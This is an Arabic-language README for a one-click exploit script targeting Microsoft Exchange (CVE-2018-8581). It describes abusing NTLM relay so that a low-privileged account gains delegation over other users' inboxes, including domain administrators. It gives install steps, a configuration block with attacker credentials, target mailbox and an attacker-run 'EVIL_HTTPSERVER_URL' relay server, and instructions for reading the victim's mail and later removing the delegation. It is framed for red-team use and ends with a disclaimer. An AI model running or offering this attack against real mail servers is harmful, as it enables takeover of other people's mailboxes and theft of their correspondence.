
CVE-2018-8581
هذه ثغرة اختراق جانبي ورفع صلاحيات على مستوى البريد الإلكتروني
يمكنها، بعد امتلاك بيانات حساب بريد إلكتروني بصلاحيات عادية، إتمام عملية تفويض والاستيلاء على صندوق الوارد لبريد مستخدمين آخرين (بما في ذلك مسؤولو النطاق)
هذا السكربت EXP هو نسخة مطوّرة بنقرة واحدة مبنية على PoC الأصلي، وبعد إعداد المعاملات ذات الصلة، سيقوم تلقائياً بإتمام عمليات إضافة التفويض وحذف التفويض على صندوق الوارد Inbox للبريد المستهدف، وذلك لتسهيل قيام قسم الأمن لدى العميل والفريق الأحمر بمحاكاة عملية هجوم على مؤسسة مرخّصة
كان الـ PoC الأصلي يتكون من سكربتين يُستخدمان معاً لإتمام عملية إضافة قاعدة استلام الرسائل، وهو أمر غير عملي في العمل الفعلي للفريق الأحمر لدى العميل. كما أن الـ PoC الأصلي كان يتطلب، بالإضافة إلى البريد الإلكتروني، تعيين SID لمستخدم البريد المستهدف. لكن بالرجوع إلى المقال الذي ذكر طريقة الحصول على SID المستخدم، لم أنجح في إعادة إنتاجها عملياً على Exchange Server 2010 و2013 (إصدار 2010 لا يحتوي على خيار العملية ذي الصلة، وإصدار 2013 يعطي رسالة عدم وجود صلاحية للعملية). في النهاية، كان الحل الذي اتبعته هو إتمام تفويض عكسي أولاً للحصول على SID لمستخدم البريد المستهدف ثم إزالة التفويض
تثبيت python-ntlm
pip install python-ntlm
إعداد المعاملات ذات الصلة في الكود التالي داخل السكربت
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
قم بتشغيل السكربت، ثم تناول رشفة من شاي الغوجي، وانتظر دقيقة
![]()
في هذه المرحلة، تم بنجاح تفويض صندوق الوارد Inbox الخاص بـ TARGET_EMAIL إلى CONTROLLED_EMAIL
قم بعرض صندوق الوارد للبريد المستهدف في OWA أو Outlook
img2
قم بتغيير FLAG إلى 0، ثم شغّل السكربت مرة أخرى، وتناول رشفة من شاي الغوجي، وانتظر دقيقة أخرى، وبهذا تتم إزالة التفويض المضاف سابقاً
img3
لم يعد هناك صلاحية للوصول مرة أخرى
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
يمكن تعديل المزيد من طلبات EWS SOAP API داخل الدالة make_relay_body()
السكربت مخصص لأغراض التعلم والتبادل فقط، ويُرجى من المستخدم الالتزام بالقوانين المحلية ذات الصلة، وأي استخدام آخر يتحمل المستخدم تبعاته القانونية بالكامل، ولا يتحمل المؤلف أي مسؤولية. تنزيل السكربت واستخدامه يعني موافقة المستخدم على ما سبق ذكره